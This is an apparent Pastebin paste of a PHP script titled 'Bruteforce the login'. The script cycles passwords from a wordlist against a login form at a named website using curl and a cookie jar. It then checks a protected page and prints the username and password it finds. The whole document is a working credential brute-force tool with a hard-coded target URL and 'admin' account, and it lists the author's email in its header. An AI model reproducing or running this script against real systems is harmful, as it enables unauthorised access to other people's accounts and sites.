WHM

Bruteforce the login

WHM
Jul 14th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.77 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5. command - php crack.php
  6.  
  7.  
  8. ###################################################
  9. # Bruteforce the login page #
  10. # dipendrashrestha414@yahoo.com #
  11. # don't be shy come say hi! :P #
  12. ####################################################"
  13.  
  14. */
  15.  
  16. $site = 'http://www.healthfilmfestival.gr/crack/form.php';
  17.  
  18. $login_action = 'http://www.healthfilmfestival.gr/crack/form.php';
  19.  
  20. $access = 'http://www.healthfilmfestival.gr/crack/thru.php';
  21.  
  22. $username = 'admin';
  23.  
  24. $password = 'adminn';
  25.  
  26. function check(){
  27.  
  28. global $site;
  29. global $login_action;
  30. global $access;
  31. global $username;
  32. global $password;
  33. $ch = curl_init();
  34. curl_setopt($ch,CURLOPT_URL,$site);
  35.  
  36. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  37.  
  38. curl_setopt($ch,CURLOPT_POST,true);
  39.  
  40. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=$username&password=$password");
  41.  
  42. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  43.  
  44. curl_setopt($ch, CURLOPT_FOLLOWLOCATION,false);
  45.  
  46.  
  47. $data = curl_exec($ch);
  48.  
  49. curl_setopt($ch,CURLOPT_URL,$access);
  50.  
  51. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  52.  
  53. $pata=curl_exec($ch);
  54.  
  55. return $pata;
  56.  
  57.  
  58. curl_close($ch);
  59.  
  60. }
  61.  
  62. $get = check();
  63.  
  64. echo $get;
  65.  
  66. while(strlen(trim($get)==0)){
  67. $pass = file('wordlist.txt');
  68. $count = count($pass);
  69. echo "::passwords tried:::\n";
  70. $i=0;
  71.  
  72. while($i<$count){
  73. $password = trim($pass[$i]);
  74. $passwd=$password;
  75. $password = $password;
  76.  
  77. echo " - ".$passwd."\n";
  78. $get = check();
  79. echo $get;
  80. $i=$i+1;
  81. if(trim(strlen($get) >0 )){
  82. echo "\n";
  83. echo 'Site: '.$site."\n";
  84. echo 'Number of attempts: '.($i+1)."\n";
  85. echo 'The username is: '.$username."\n";
  86. echo 'The password is: '.$passwd."\n";
  87. echo "\n";
  88. die('Thank you');
  89. }
  90.  
  91.  
  92. }
  93.  
  94. break;
  95.  
  96. }
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105. ?>
Add Comment
Please, Sign In to add comment